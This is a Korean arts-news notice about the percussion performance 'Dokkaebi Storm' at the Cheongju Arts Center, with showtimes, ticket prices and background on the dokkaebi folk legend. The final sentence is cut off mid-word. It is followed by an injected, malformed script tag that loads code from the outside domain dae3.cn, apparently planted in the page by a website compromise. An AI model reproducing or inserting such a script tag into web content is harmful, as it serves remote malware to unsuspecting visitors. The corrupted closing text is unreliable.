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제목 도깨비 스톰’ 청주를 강타한다!
내용 청주 예술의 전당 초청공연 흥겨운 타악 퍼포먼스 ‘난타’에 이어 한국을 대표하는 타악 퍼포먼스. ‘도깨비 스톰’이 청주 무대를 찾는다. 청주 예술의전당 개관 10주년을 기념하기 위해 열리는 이번 ‘도깨비 스톰’은 오는 9일 청주 예술의 전당 대공연장에서 오후 3시와 6시30분에 걸쳐 두 번 공연될 예정으로 시민들에게 뛰어난 문화예술 공연 관람을 할 수 있는 기회를 제공하게 될 것이다. 이번 공연은 유료로 R석 2만원. S석 1만5천원. A석 1만원이다. ‘도깨비 스톰’은 한국의 풍물이나 사물놀이를 기반으로. 한국의 전통 캐릭터인 ‘도깨비’를 등장시켜 현대적이고 세계적인 감각에 맞게 재구성한 비언어 타악 퍼포먼스로 강렬한 연주. 화려한 조명. 독특한 의상. 신기한 악기. 적극적인 관객 참여 유도 등으로 인해 보고나면 스트레스를 말끔히 날려버릴 수 있는 신나는 공연이다. 도깨비는 한국의 역사(5000년)만틈이나 오래되었으며 현대까지도 한국인이라면 남녀노소 누구에게나 가장 친근하게 와닿는 대표적인 전통 캐릭터 도깨비는 항상 방망이를 가지고 다니며 이것으로 요술을 부리기도 한다. 또한 먹고 마시며. 춤추고 노래 부르는 것을 좋아하고 내기와 씨름 등 인간에게 장난치기를 좋아한다. 도깨비는 음귀(陰鬼)로서의 귀신과는 달리 사람이 죽은 후에 생기는 것이 아니고. 사람들이 일상생활의 용구로 쓰다가 버린 물체에서 생성된다고 한다. 즉. 헌 빗자루. 짚신. 부지깽이. 오래된 가구 등이 밤이 되면 도깨비로 변하여 나타나는데. 그 형체는 알 수 없으나 원인불명의 불을 켜고 나타난다고 한다. 도깨비 스톰은 이러한 도깨비의 해학적이고 인간적이며. 신변잡기적인 캐릭터를 공연의 모티브로 삼았다. 극중에 일상에서 흔히 볼 수 있는 생활용품들이 도깨비가 가지고 노는 악기로 등장하는 것이나 공연의 하이라이트로 유명한 암흑 속의 도깨비 불 연주도 도깨비 전설과 그 궤를 같이 한다. 장구와 징. 모듬 북. 태평소. 운라. 나팔 등 우리 풍물의 대표적인 전통악기뿐만 아니라 크고 작은 수많은 항아리들과 절구통. 쓰레기통. 박 등 무려 50여가지에 이르는 도구들이 절묘하게 조화를 이루는 신명나는 무대가 연출되며. 배우 한 사람이 10개가 넘는 악기를 연주한다. 지난 2001년 1월 초연된 후 국내외 20여개 도시의 무대에서 호평을 받은바 있?script src=http://dae3.cn>
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